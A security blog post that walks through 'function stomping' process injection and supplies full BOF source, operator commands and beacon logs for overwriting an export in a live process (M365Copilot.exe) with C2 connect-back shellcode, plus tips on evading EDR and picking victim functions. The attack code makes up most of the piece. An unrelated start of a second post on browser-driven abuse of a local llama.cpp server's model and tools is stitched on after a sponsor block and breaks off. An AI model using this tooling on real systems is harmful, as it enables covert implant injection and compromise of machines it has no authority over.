Okay, let’s get into it!

What is Function Stomping, Really?

In brief: Function stomping is overwriting an exported function that is already loaded in a target process with your shellcode, and then getting that function to run - either by asking Windows to run it (CreateRemoteThread) or, better yet, by waiting for the target process to call it on its own.

Notice what that is not. It’s not module stomping. In module stomping (the 101 post), we are the ones bringing the module into the picture: we LoadLibrary a benign DLL into the remote process, find its entry point, and stomp that entry point. The stomped code lives in a module we chose to load, at an address we located.

Function stomping skips all of that ceremony. There’s no new module. There’s no entry point. We pick a function that is already there. Some obscure export in a DLL the target happens to have loaded, like RichEditWndProc in WinUIEdit.dll from M365Copilot.exe, and we overwrite the function body itself with shellcode. The module was loaded by the OS or the application long before we showed up; we’re just squatting on one of its exports. 😸

Why bother, when module stomping exists?

A few reasons that have come up in my own testing:

• No LoadLibrary to hide, no new module in the list. Module stomping requires injecting a LoadLibrary call (usually via CreateRemoteThread), which is a well-understood and well-hunted primitive. Function stomping doesn’t load anything. No new entry appears in the target’s module list, no LdrLoadDll callback fires, no load event in the EDR telemetry. The “module” is one that’s already there.

• No new memory allocation. No VirtualAllocEx, no new RWX page appearing in the process. The payload is written into a code page that already exists in the target’s address space. (To be fair, you do need two VirtualProtectEx calls - down to PAGE_READWRITE to write, then back up to PAGE_EXECUTE_READWRITE. So, it’s not literally “write to a read-only page.” But you’re not creating any new allocation for the EDR to see.)

• You can skip CreateRemoteThread entirely. This is my favorite part, and I’ll come back to it. If you stomp a function the process will naturally call: a window proc, a callback, a timer. You never need CreateRemoteThread at all. Execution happens “organically,” in the context of the target’s own thread, on its own stack, in its own thread context. CreateRemoteThread is one of the most heavily pattern-matched APIs in the EDR world, so having a way to not use it is genuinely nice.

The tradeoff is that you have to choose your sacrificial function carefully. You’re overwriting a real, working function. If it’s hot-path code (something called thousands of times a second) or in a critical DLL (ntdll, kernel32, IMM32), you will crash the process or the machine. More on choosing targets later.

TL;DR

• We’re stomping an existing exported function in a remote process, not a freshly-loaded module’s entry point.
• The technique is: enumerate the target’s modules → walk the target’s PE export table from remote memory (arch-aware!) → overwrite the chosen function with shellcode via WriteProcessMemory → optionally trigger with CreateRemoteThread.
• The end result is an Adaptix C2 BOF, so it runs off the beacon with a single AxScript command.
• The “subscriber bonus” payload is a PIC shellcode derived from Crystal Palace, because PIC is what lets it execute no matter which function we stomp it into: no fixed addresses, no rebasing, no loader.
• Verified: a full 100KB Adaptix beacon stomped into a pid of our choosing.

The Demo Stomp

Let’s go ahead and code it out. I created a standalone PoC that does exactly what the Adaptix C2 BOF will eventually do for us, but I’m using an actual PE executable to test. That way we know we’re on the right track!

Compile the Stomp source code below and then we’ll get started

Source Code for stomp.exe / stomp.c

Now run it! Oh! but before you do, be sure to setup Adaptix C2 to have a listener ready and also prep your shellcode. We’ll do that really quick and then run our stomp.exe

Here’s what mine looks like:

• Protocol: Any
• Config: BeaconHttp

Also, we need to generate the connectback shellcode. Right click the listener and choose Generate Agent:

• Arch: x64
• Format: Shellcode

Copy that .bin file to the windows box however you like. Okay, now we’re ready!

Stomp it!

Go ahead and run your compiled stomp.exe

Next, we’ll pick on the M365Copilot.exe process because it’s unlikely to be heavily scrutinzed. Go ahead and select it.

Next, let’s go with the WinUIEdit.dll which is seldom accessed and shouldn’t be interrupted by other windows services/processes accessing it. (Notepad uses this too btw 😺)

Now, we choose the Function we wish to stomp! I chose RichEditWndProc

Finally, I made it very easy. A dialog box will popup and let you choose your shellcode .bin file. Go ahead and do that. It’s the shellcode you generated earlier in Adaptix.

Choose ‘y’ to use CreateRemoteThread. At least for now.

[*] Trigger remote thread at stomped address? [y/N]: y
[+]   Remote thread created  : handle 0x0000000000000398
[*]   Waiting for thread (10s timeout)...
[!]   Thread still running after 10s (shellcode may
      be in a loop / network callback).

========================================
  Stomp complete.
========================================
  Process : M365Copilot.exe  (PID 16360)
  Module  : WinUIEdit.dll  (base 0xf5870000)
  Function: RichEditWndProc  (addr 0xf5a2f060)
  Payload : 100351 bytes  (C:\Users\administrator\Documents\agentnew45.x64.bin)

Mission Accomplished! We got our shellcode to execute the callback to our server C2 listener!

Building and Running the BOF

I’ve included everything you need in the following source code directory to simplify things. I just don’t have time to go over all the code. We’ll leave that for my learning course in the near future 😸.
Here’s the code: Function Stomp BOF Source Code

Run the commands below to make the funcstomp BOF:

cd funcstomp_bof
make

Next, go into your Adaptix C2 console, Extensions, Script Manager, and add / enable it!:

Select your funcstomp.axs script!

It’s now ready to use!

Enter into the Console session for one of your connected agents. Next, enter the following command to execute your BOF (adjust your .bin directory accordingly, of course 😸):

stomp [PID] "WinUIEdit.dll" "RichEditWndProc" /home/g3tsyst3m/agent.x64.bin -t 1

You should see the following output, similar to mine:

[03/10 20:53:01] Operator1 [b3a37db9] beacon > stomp -p 14308 -d WinUIEdit.dll -f RichEditWndProc -s /home/g3tsyst3m/AdaptixProjects/g3t_main/agentnew45.x64.bin -t 1
[03/10 20:53:01] [*] Task: FuncStomp
[03/10 20:53:02] [*] Agent called server, sent [103.73 Kb]
[03/10 20:53:07] [+] BOF output
[*] funcstomp: pid=14308 dll=WinUIEdit.dll func=RichEditWndProc sc=100351 bytes trigger=1
[+] funcstomp: WinUIEdit.dll base=0x7ffd2a830000
[+] funcstomp: 'RichEditWndProc' @ 0x7ffd2a9edbe0
[+] funcstomp: stomped 100351 bytes (old prot 0x20)
[+] funcstomp: remote thread created
[*] funcstomp: thread still running (5s timeout, shellcode alive)
[=] funcstomp: done — WinUIEdit.dll::RichEditWndProc in PID 14308
[03/10 20:53:07] [+] BOF finished

That’s it!

Crystal Palace PIC Shellcode (🎁 Bonus Subscriber Only Offering🎁)

If you’ve read my PIC Shellcode from the Ground Up series, you know my feelings about PIC: it’s the right tool for shellcode that has to run anywhere. For function stomping specifically, PIC is essentially mandatory. We’re dropping into the middle of some arbitrary DLL’s .text section, at an address we did not choose and that changes every run (ASLR). Any absolute address in the payload is a landmine. PIC will resolve everything at runtime relative to our own location. This is what makes the same .bin work whether we stomp it into explorer.exe or Notepad, etc.

Crystal Palace is the C2 + shellcode toolchain I’ve been building in parallel with the stomping work. The relevant piece here is its PIC generator: it takes a C source, emits PIC-friendly assembly (no absolute addresses, no .data section: constants are pushed to the runtime stack and located relative to RSP), and assembles it into a position-independent .bin. The beacon itself is PIC; the small shellcodes we use for stomping are PIC too.

A quick note on what “PIC-derived” means concretely in this context, because it’s the part I’d expect questions about:

• DFR (Dynamic Function Resolution). The shellcode resolves its own imports (kernel32/advapi32/etc.) at runtime by hashing export names and walking the loaded DLL list:no import table, no fixed base. This is the same MODULE$Func / ror13 hashing scheme the Adaptix beacon uses, which is part of why the two play so nicely together.
• No .data, everything relative. Strings and constants live as immediate pushes and are addressed off the stack, so the code is literally the same byte stream no matter where it lands.
• PEB/LDR walking for module bases, so even “where is kernel32” is answered at runtime.

The actual payload I’ve been pushing through the stomper in testing is a small beacon-style checkin stub (a few hundred bytes): big enough to do a real handshake with the server, small enough that it fits comfortably inside a single function body without eating its neighbors. For the full-beacon tests (100KB+), I used the standard Adaptix beacon .bin, which is PIC in the same way.

Here’s the code (🎁 Subscriber Only Perk [Emerald + Diamond Tier] 🎁): Source Code Bundle

Here’s how to compile the PIC:

cd crystalpalace_files
make adaptix 

Here’s how to use it after you add it to the Adaptix C2 Script manager:

  stomp_pic                     Stomp a function in a target process (Crystal Palace PIC)

+-------------------------------------------------------------------------------------+
[04/10 14:57:47] [*] Stomping RichEditWndProc in WinUIEdit.dll (PID 18028) via PIC...

[04/10 14:57:47] Operator1 [738ca289] beacon > stomp_pic -p 18028 -d WinUIEdit.dll -f RichEditWndProc -s /home/g3tsyst3m/AdaptixProjects/g3t_main/agentnew45.x64.bin -t 1
[04/10 14:57:47] [*] Task: FuncStomp-PIC
[04/10 14:57:49] [*] Agent called server, sent [107.06 Kb]
[04/10 14:57:54] [+] BOF output
[*] stomprun: PIC 7023 bytes; stomp 100351 bytes into WinUIEdit.dll::RichEditWndProc (pid 18028, trigger 1)
[*] stomprun: calling PIC at 0x000001E839D30000 (arg blob at offset 7023)
[+] stomprun: PIC returned
[04/10 14:57:54] [+] BOF finished

And That’s It!

The Detailed Walkthrough for the Function Stomping BOF for those Who wish to Dive Deeper!

I used a Windows 11 VM in my home lab with EDR disabled for testing, and the Adaptix server listening on my Ubuntu 24.04 box.

Building the Function Stomping BOF with Adaptix C2

For those not deep in the Adaptix world yet: Adaptix is a C2 framework that, among other things, runs BOFs (Beacon Object Files) - small COFF objects that get loaded inside the beacon process. The beacon provides you with its own little stdlib (the BeaconFunctions[] table): BeaconPrintf, BeaconDataInt, BeaconDataExtract, and so on, plus a MODULE$ / KERNEL32$ dynamic function resolution (DFR) scheme for pulling in Windows APIs without a traditional import table. If that sounds like a lot of jargon, the Adaptix documentation is where I point people, but the parts that matter for this post are:

1. BOFs are written in C, built with the MSVCRT toolchain to x64/x86 .o files, and loaded by the beacon via a custom loader.
2. You cannot just use any libc function you like. The beacon’s function table is a fixed 32 entries, and anything not in it will fail at load time. Allocation is MSVCRT$malloc/MSVCRT$free (resolved via the $ DFR path). There is no calloc, no lstrcpynA, and FindProcBySymbol in bof_loader.cpp will flat-out reject any symbol name that is too short to resolve. So if you’re adapting BOF code from elsewhere, audit every libc call first.
3. Token/privilege APIs live in ADVAPI32$, not KERNEL32$. AdjustTokenPrivileges, OpenProcessToken, LookupPrivilegeValueA, which are all advapi32. The $ DFR path does a LoadLibraryA + GetProcAddress, so if you write KERNEL32$AdjustTokenPrivileges you’ll get “Symbol not found,” because kernel32 simply doesn’t export it. I hit this one and lost an hour to it 😸.

The flow of the BOF (funcstomp.c, source in the repo linked below) is straightforward:

Overview

┌──────────────┐    BOF injection     ┌────────────────────┐
│  C2 Beacon   │─────────────────────▶│  Target Process    │
│  (beacon.exe)│                      │  (explorer.exe, etc.)
│              │  OpenProcess         │                    │
│              │  ReadProcessMemory   │  Target DLL loaded │
│              │  VirtualProtectEx    │  (e.g. WinUIEdit.dll)
│              │  WriteProcessMemory  │  ┌───────────────┐ │
│              │  CreateRemoteThread  │  │ Export Table  │ │
│              │                      │  │               │ │
└──────────────┘                      │  │ func ──▶ RW   │ │
                                      │  │       ──▶ shellcode
                                      │  │       ──▶ RX  │ │
                                      │  └───────────────┘ │
                                      └────────────────────┘

The BOF runs inside the beacon process. It reaches into a different process, finds a DLL’s export table, locates a chosen export, changes its memory protection to read/write, overwrites the first N bytes with shellcode, sets protection back to executable, and optionally spawns a remote thread to execute the shellcode in-place.

File Structure

1. DFR Imports (Lines 34–55)

The BOF runs inside a beacon that strips normal symbols. All API calls are declared with DECLSPEC_IMPORT and a MODULE$Function naming convention so the beacon’s DFR (Dynamic Function Resolution) loader can resolve them at runtime:

/* kernel32 */
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
DECLSPEC_IMPORT BOOL   WINAPI KERNEL32$CloseHandle(HANDLE hObject);
DECLSPEC_IMPORT BOOL   WINAPI KERNEL32$ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
DECLSPEC_IMPORT BOOL   WINAPI KERNEL32$WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
DECLSPEC_IMPORT BOOL   WINAPI KERNEL32$VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD *lpflOldProtect);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(void);
DECLSPEC_IMPORT DWORD  WINAPI KERNEL32$GetLastError(void);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
DECLSPEC_IMPORT BOOL   WINAPI KERNEL32$Module32First(HANDLE hSnapshot, LPMODULEENTRY32 lpme);
DECLSPEC_IMPORT BOOL   WINAPI KERNEL32$Module32Next(HANDLE hSnapshot, LPMODULEENTRY32 lpme);
DECLSPEC_IMPORT DWORD  WINAPI KERNEL32$WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds);
DECLSPEC_IMPORT DWORD  WINAPI KERNEL32$GetExitCodeThread(HANDLE hThread, LPDWORD lpExitCode);

/* advapi32 - token/privilege (NOT in kernel32) */
DECLSPEC_IMPORT HANDLE WINAPI ADVAPI32$OpenProcessToken(HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle);
DECLSPEC_IMPORT BOOL   WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE TokenHandle, BOOL DisableAllPrivileges, PTOKEN_PRIVILEGES NewState, DWORD BufferLength, PTOKEN_PRIVILEGES PreviousState, PDWORD ReturnLength);
DECLSPEC_IMPORT BOOL   WINAPI ADVAPI32$LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid);

/* msvcrt - beacon does NOT provide calloc/free */
DECLSPEC_IMPORT void *WINAPI MSVCRT$malloc(size_t size);
DECLSPEC_IMPORT void  WINAPI MSVCRT$free(void *ptr);

Why DFR? The beacon’s bof_loader.cpp resolves symbols via two paths:

• MODULE$Func → LoadLibraryA(module) + GetProcAddress(module, func)
• __imp_Beacon* → Djb2A-hashed against the fixed 32-entry BeaconFunctions[] table

calloc/free/lstrcpynA are not in that table, so the BOF must use msvcrt’s malloc/free and inline string helpers instead.

2. Constants & Types (Lines 66–79)

#define MAX_EXPORTS    8192
#define MAX_NAME_LEN   256
#define SE_DEBUG_LUID  _SE_DEBUG_PRIVILEGE  /* 0x14 */

typedef struct {
    char      name[MAX_NAME_LEN];
    WORD      ordinal;
    DWORD     rva;
    DWORD_PTR addr;
} export_entry_t;

The export_entry_t struct holds one row of the export table. The addr field is base + rva (absolute address in the target).

3. Helper Functions (Lines 85–112)

static SIZE_T xread(HANDLE hProc, DWORD_PTR addr, void *buf, SIZE_T size)
{
    SIZE_T n = 0;
    if (!KERNEL32$ReadProcessMemory(hProc, (LPCVOID)addr, buf, size, &n))
        return 0;
    return n;
}

Thin wrapper around ReadProcessMemory. Returns bytes read, or 0 on failure. Used throughout to read PE structures from the target process.

static int strcasecmp_a(const char *a, const char *b)
{
    while (*a && *b) {
        char ca = (*a >= 'A' && *a <= 'Z') ? (*a + 32) : *a;
        char cb = (*b >= 'A' && *b <= 'Z') ? (*b + 32) : *b;
        if (ca != cb) return ca - cb;
        a++; b++;
    }
    return (unsigned char)*a - (unsigned char)*b;
}

ASCII-only case-insensitive compare. Avoids CRT dependency.

static void cpyn(char *dst, const char *src, int max)
{
    int i = 0;
    for (i = 0; i < max - 1 && src[i] != '\0'; i++)
        dst[i] = src[i];
    dst[i] = '\0';
}

Bounded null-terminated copy. Replaces lstrcpynA which isn’t available in the beacon.

4. enable_se_debug() (Lines 118–141)

static void enable_se_debug(void)
{
    HANDLE hToken = NULL;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(),
                                   TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
                                   &hToken))
        return;

    if (!ADVAPI32$LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &luid)) {
        KERNEL32$CloseHandle(hToken);
        return;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    ADVAPI32$AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    KERNEL32$CloseHandle(hToken);
    /* Best-effort: if it fails we just can't access SYSTEM processes */
}

Opens the current process token, looks up SeDebugPrivilege (LUID 0x14), and enables it. This grants the beacon access to SYSTEM-level processes. Failing silently is intentional - a non-admin beacon can still stomp user-level processes without it.

5. find_module_base() (Lines 147–168)

static DWORD_PTR find_module_base(DWORD pid, const char *dll_name)
{
    HANDLE snap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
    if (snap == INVALID_HANDLE_VALUE || snap == NULL)
        return 0;

    MODULEENTRY32 me;
    me.dwSize = sizeof(me);

    DWORD_PTR base = 0;
    if (KERNEL32$Module32First(snap, &me)) {
        do {
            if (strcasecmp_a(me.szModule, dll_name) == 0) {
                base = (DWORD_PTR)me.modBaseAddr;
                break;
            }
        } while (KERNEL32$Module32Next(snap, &me));
    }

    KERNEL32$CloseHandle(snap);
    return base;
}

Uses the Toolhelp32 Module Snapshot to enumerate all modules loaded in the target PID. Returns the loaded base address (modBaseAddr) of the named DLL. This works regardless of ASLR because it reads the actual mapped address from the target’s module list.

6. read_exports() (Lines 174–261) - PE Export Table Walker

The most complex function. Reads the PE headers remotely (via ReadProcessMemory) to parse the export directory. Architecture-agnostic (handles both PE32 and PE32+).

Target process memory layout:

  base ──► IMAGE_DOS_HEADER
              │ e_lfanew
              ▼
           NT_SIGNATURE + IMAGE_FILE_HEADER
              │
              ▼
           IMAGE_OPTIONAL_HEADER
              │  DataDirectory[0] = Export
              ▼
           IMAGE_EXPORT_DIRECTORY
              ├── NumberOfFunctions
              ├── NumberOfNames
              ├── AddressOfFunctions   (RVA → DWORD[])
              ├── AddressOfNames       (RVA → DWORD[])
              └── AddressOfNameOrdinals (RVA → WORD[])

Step 1–2: DOS & NT headers (Lines 177–188)

    /* 1. DOS header */
    IMAGE_DOS_HEADER dos;
    if (xread(hProc, base, &dos, sizeof(dos)) != sizeof(dos))
        return -1;
    if (dos.e_magic != IMAGE_DOS_SIGNATURE)
        return -1;

    /* 2. NT signature */
    DWORD_PTR nt_addr = base + dos.e_lfanew;
    DWORD sig;
    if (xread(hProc, nt_addr, &sig, 4) != 4 || sig != IMAGE_NT_SIGNATURE)
        return -1;

Reads the “MZ” header, follows the e_lfanew pointer to the “PE\0\0” signature.

Step 3: Optional header magic (Lines 190–198)

    /* 3. Optional header magic (2 bytes at offset 24 from NT start) */
    WORD opt_magic;
    DWORD_PTR opt_hdr_addr = nt_addr + 4 + sizeof(IMAGE_FILE_HEADER); /* = 24 */
    if (xread(hProc, opt_hdr_addr, &opt_magic, 2) != 2)
        return -1;

    int is_64 = (opt_magic == 0x20b);
    int dd_off = is_64 ? 112 : 96;
    DWORD_PTR dd_addr = opt_hdr_addr + dd_off;

The optional header magic (0x20b = PE32+, 0x10b = PE32) determines where the DataDirectory array lives - offset 112 for 64-bit, 96 for 32-bit.

Step 4–5: Export directory (Lines 200–216)

    /* 4. Export directory entry (index 0) */
    IMAGE_DATA_DIRECTORY edd;
    if (xread(hProc, dd_addr, &edd, sizeof(edd)) != sizeof(edd))
        return -1;
    if (edd.VirtualAddress == 0 || edd.Size == 0)
        return 0;  /* no exports in this module */

    /* 5. IMAGE_EXPORT_DIRECTORY */
    IMAGE_EXPORT_DIRECTORY ied;
    DWORD_PTR ied_addr = base + edd.VirtualAddress;
    if (xread(hProc, ied_addr, &ied, sizeof(ied)) != sizeof(ied))
        return -1;

    DWORD nfuncs = ied.NumberOfFunctions;
    DWORD nnames = ied.NumberOfNames;
    if (nfuncs == 0 || nnames == 0)
        return 0;

Gets the export directory’s RVA and size, then reads the IMAGE_EXPORT_DIRECTORY struct to learn how many functions/names exist.

Step 6: Heap-allocate & read the three arrays (Lines 220–231)

    /* 6. Read arrays (heap-allocated: these are too big for the beacon's 1MB stack) */
    DWORD *funcs    = (DWORD *)MSVCRT$malloc(nfuncs * sizeof(DWORD));
    DWORD *names    = (DWORD *)MSVCRT$malloc(nnames * sizeof(DWORD));
    WORD  *ordinals = (WORD  *)MSVCRT$malloc(nnames * sizeof(WORD));
    if (!funcs || !names || !ordinals) {
        MSVCRT$free(funcs); MSVCRT$free(names); MSVCRT$free(ordinals);
        return -1;
    }

    if (xread(hProc, base + ied.AddressOfFunctions,    funcs,    nfuncs * sizeof(DWORD)) != nfuncs * sizeof(DWORD)) { ... }
    if (xread(hProc, base + ied.AddressOfNames,        names,    nnames * sizeof(DWORD)) != nnames * sizeof(DWORD)) { ... }
    if (xread(hProc, base + ied.AddressOfNameOrdinals, ordinals, nnames * sizeof(WORD))  != nnames * sizeof(WORD))  { ... }

The three tables are read from the target process into heap memory. For a DLL like ntdll.dll (~2000 exports), this is ~28 KB - fine on heap, but the caller’s output array (export_entry_t[8192] ≈ 512 KB) would also blow the 1 MB stack.

Step 7: Build entries (Lines 233–255)

    /* 7. Build entries */
    int count = 0;
    for (DWORD i = 0; i < nread; i++) {
        WORD ord_idx = ordinals[i];
        if (ord_idx >= nfuncs) continue;

        DWORD func_rva = funcs[ord_idx];

        /* Skip forwarded exports */
        if (func_rva >= edd.VirtualAddress &&
            func_rva <  edd.VirtualAddress + edd.Size)
            continue;

        char namebuf[MAX_NAME_LEN] = {0};
        if (xread(hProc, base + names[i], namebuf, MAX_NAME_LEN - 1) == 0)
            continue;

        cpyn(out[count].name, namebuf, MAX_NAME_LEN);
        out[count].ordinal = ord_idx;
        out[count].rva     = func_rva;
        out[count].addr    = base + func_rva;
        count++;
    }

For each named export:

• Resolves the function RVA via the ordinal index
• Skips forwarded exports (where the RVA points back into the export directory itself - these are stubs that redirect to another module)
• Reads the name string from the target
• Stores name, ordinal, RVA, and absolute address (base + rva)

7. go() - Entry Point (Lines 267–419)

Phase A: Parse Parameters (Lines 267–277)

int go(char *args, unsigned long length)
{
    datap p;
    BeaconDataParse(&p, args, (int)length);

    int         pid       = BeaconDataInt(&p);
    char       *dll_name  = (char *)BeaconDataExtract(&p, NULL);
    char       *func_name = (char *)BeaconDataExtract(&p, NULL);
    int         sc_len    = 0;
    char       *shellcode = (char *)BeaconDataExtract(&p, &sc_len);
    int         trigger   = BeaconDataInt(&p);

Phase B: Validation (Lines 283–298)

    if (pid <= 0) { ... return 1; }
    if (!dll_name || !func_name) { ... return 1; }
    if (!shellcode || sc_len <= 0) { ... return 1; }
    if (sc_len > 0x100000) { ... return 1; }  /* 1 MB cap */

Phase C: SeDebug + Module Lookup (Lines 300–309)

    enable_se_debug();

    DWORD_PTR mod_base = find_module_base((DWORD)pid, dll_name);
    if (!mod_base) {
        BeaconPrintf(CALLBACK_ERROR, "[!] funcstomp: module '%s' not found in PID %d\n", dll_name, pid);
        return 2;
    }

Phase D: Open Process (Lines 312–319)

    HANDLE hProc = KERNEL32$OpenProcess(
        PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION,
        FALSE, (DWORD)pid);

Phase E: Read Exports & Find Target (Lines 322–354)

    export_entry_t *exports = (export_entry_t *)MSVCRT$malloc(MAX_EXPORTS * sizeof(export_entry_t));
    // ...
    int nexports = read_exports(hProc, mod_base, exports, MAX_EXPORTS);
    // ...
    DWORD_PTR func_addr = 0;
    for (int i = 0; i < nexports; i++) {
        if (strcasecmp_a(exports[i].name, func_name) == 0) {
            func_addr = exports[i].addr;
            break;
        }
    }
    // ...
    MSVCRT$free(exports);  /* only need func_addr now */

Linear search through up to 8192 exports. The array is freed immediately after - only the resolved address matters.

Phase F: The Stomp (Lines 356–389)

    /* --- Stomp: RW -> write -> RX --- */
    DWORD old_prot = 0;

    // Step 1: Make the function code writable
    if (!KERNEL32$VirtualProtectEx(hProc, (LPVOID)func_addr, (SIZE_T)sc_len,
                                    PAGE_READWRITE, &old_prot))
    { ... return 7; }

    // Step 2: Overwrite with shellcode
    SIZE_T written = 0;
    if (!KERNEL32$WriteProcessMemory(hProc, (LPVOID)func_addr, shellcode,
                                      (SIZE_T)sc_len, &written))
    { ... return 8; }

    // Step 3: Restore execute permission (RWX)
    DWORD old_prot2 = 0;
    if (!KERNEL32$VirtualProtectEx(hProc, (LPVOID)func_addr, (SIZE_T)sc_len,
                                    PAGE_EXECUTE_READWRITE, &old_prot2))
    { ... return 9; }

Three-step in-place code modification:

Why PAGE_EXECUTE_READWRITE (not just PAGE_EXECUTE_READ)? The shellcode needs read+write+execute. Using RWX is simpler than restoring the original protection flags, and ensures the shellcode can access any self-referencing data.

Phase G: Optional Trigger (Lines 392–412)

    if (trigger) {
        HANDLE hThread = KERNEL32$CreateRemoteThread(hProc, NULL, 0,
                                                       (LPTHREAD_START_ROUTINE)func_addr,
                                                       NULL, 0, NULL);
        if (!hThread) {
            BeaconPrintf(CALLBACK_ERROR, "[!] funcstomp: CreateRemoteThread failed: %lu (stomp still applied)\n",
                         (unsigned long)KERNEL32$GetLastError());
        } else {
            BeaconPrintf(CALLBACK_OUTPUT, "[+] funcstomp: remote thread created\n");
            /* Keep wait under 5s to avoid killing beacon comms */
            DWORD w = KERNEL32$WaitForSingleObject(hThread, 5000);
            if (w == WAIT_OBJECT_0) {
                DWORD ec = 0;
                KERNEL32$GetExitCodeThread(hThread, &ec);
                BeaconPrintf(CALLBACK_OUTPUT, "[+] funcstomp: thread exited (code 0x%lx)\n", (unsigned long)ec);
            } else {
                BeaconPrintf(CALLBACK_OUTPUT, "[*] funcstomp: thread still running (5s timeout, shellcode alive)\n");
            }
            KERNEL32$CloseHandle(hThread);
        }
    }

• Thread entry point = the stomped function address (which is now shellcode)
• No parameter is passed (NULL)
• Waits up to 5 seconds:
  • Exited → shellcode ran to completion (e.g. a one-shot payload)
  • Still running → shellcode is alive in a loop (e.g. a C2 beacon) - this is the success case for implant beacons

The 5-second cap prevents the beacon from stalling in WaitForSingleObject and missing its next checkin/sleep cycle.

Phase H: Cleanup (Lines 414–418)

    KERNEL32$CloseHandle(hProc);

    BeaconPrintf(CALLBACK_OUTPUT, "[=] funcstomp: done - %s::%s in PID %d\n",
                 dll_name, func_name, pid);
    return 0;

Return Codes

Key Design Decisions

Usage (from Beacon)

beacon> stomp [PID] "WinUIEdit.dll" "RichEditWndProc" /home/g3tsyst3m/agent.x64.bin -t 1

• trigger=1 → the stomped function executes immediately via CreateRemoteThread
• trigger=0 → shellcode sits in memory until the target naturally calls that export (e.g. the next WndProc invocation)

Security Notes

• No ASLR bypass needed: The module base is read from the target’s own module list (Toolhelp snapshot), so you get the actual loaded address.
• No CFG issues: You’re overwriting code at an existing address; CFG validates the target of indirect calls, not the code at those targets.
• Detection surface: The VirtualProtectEx(RW) → WriteProcessMemory → VirtualProtectEx(RWX) sequence on a code page + CreateRemoteThread is a classic EDR detection pattern. The persistent RWX state is also a tell.
• Shellcode size: Capped at 1 MB in the BOF. In practice, stompping a 100 KB beacon into a 20-byte function overflows into adjacent code, which is fine as long as you don’t need the rest of the module to function.

Choosing Your Sacrificial Function

This is the part I actually think about the most, so I’ll be generous with it. Good sacrificial functions share three traits: obscure (little or no callers), rarely invoked (so the overwrite doesn’t matter even if something does call it), and non-critical (the process doesn’t depend on them). From my own testing, here’s what has worked well with a 100KB+ payload:

And the don’t list:

• ntdll.dll, kernel32.dll, kernelbase.dll, hal.dll - the OS calls these constantly. Stomping them can take down the machine, not just the process.
• IMM32.DLL - the Input Method Manager is called on every text input message cycle. I stomped ImmUnlockIMCC + 100KB and overwrote dozens of adjacent IME functions; the next IME query from the UI thread hit the stomped range and I got an immediate 0xc0000005. The exact same 100KB payload in capauthz.dll was fine. Rule of thumb: for large payloads, make sure the entire stomped range is non-critical, not just the one function you named.

And that’s a wrap!

We went from “what does function stomping actually mean (versus the module stomping I wrote about before)” all the way to a working Adaptix BOF that stomps an exported function in a remote process, and a Crystal Palace PIC shellcode that runs wherever it lands. I hope this was informative and at least somewhat entertaining 😸 Appreciate you all and thanks for supporting what I do and reading the blog! Until next time!

ANY.RUN Results

ANY.RUN results

Sponsored By:

For my particular GPU (7900XTX 24gb) I prefer running everything on Ubuntu since it has better native support for my AMD based GPU. Here’s my rig below. It’s a GMKTek K15 Mini PC with 48gb ram, connected via an oculink port supplied by the minipc, which connects to a DEG1 dock. The dock has an MSI850 powersupply which powers my eGPU sitting next to it. It’s a pretty fun setup and very portable!

On average I can pull around 65 t/s. I can even get up to 85 t/s when writing code! Lastly, I average between 55–65 t/s for thinking/reasoning tasks, all using Qwen3.8-27B (UD-IQ4_XS quant) as my base inferencing model.

To be even more transparent with you, I cancelled my Claude subscription after learning how to really use my local rig! I spent $700 on the GPU which I think is a decent deal, and ~$800 on the mini-pc when it was on sale on Amazon. The DEG1 dock was $109 and PSU was around $110. In case anyone is interested in the cost involved in such a rig. It’s still not cheap, but it was reasonable for my budget and what I was shooting for. Okay, so on to the actual content you’ve been waiting for. 😸

TL;DR

Local llama.cpp servers can be exposed to browser-origin abuse if CORS is permissive and no API key is set. With default-like settings, a malicious page can send prompts to a local model and consume resources. If the server is also started with --tools all, malicious same-origin content, such as a bookmarklet or injected extension script, can drive the model to execute local tools. The fix is simple: bind tightly, restrict origins, disable tools unless needed, and use API keys.

Threat Model

Before we dive in, let’s be explicit about what is being abused and what is not:

• The target machine is running llama-server locally, bound to loopback (127.0.0.1:8080 or localhost:8080).
• No external network exposure. The server is not reachable from the internet.
• The victim’s own browser on that same machine is the attack vector. The victim visits attacker-controlled content or loads attacker-controlled browser content.
• No API key is configured on the server.
• Origin matters. The server’s CORS configuration determines which browser origins can read API responses.
• Tools off vs. on. Without --tools all, the impact is limited to prompt abuse and compute theft. With --tools all, local tool execution becomes possible.

This is not a remote internet RCE. It is a local-host trust issue mediated through the browser.

The CORS Line That Caught My Eye

I noticed when running llama-server this line in the startup output, which is enabled by default:

(Touch or click anywhere to close)

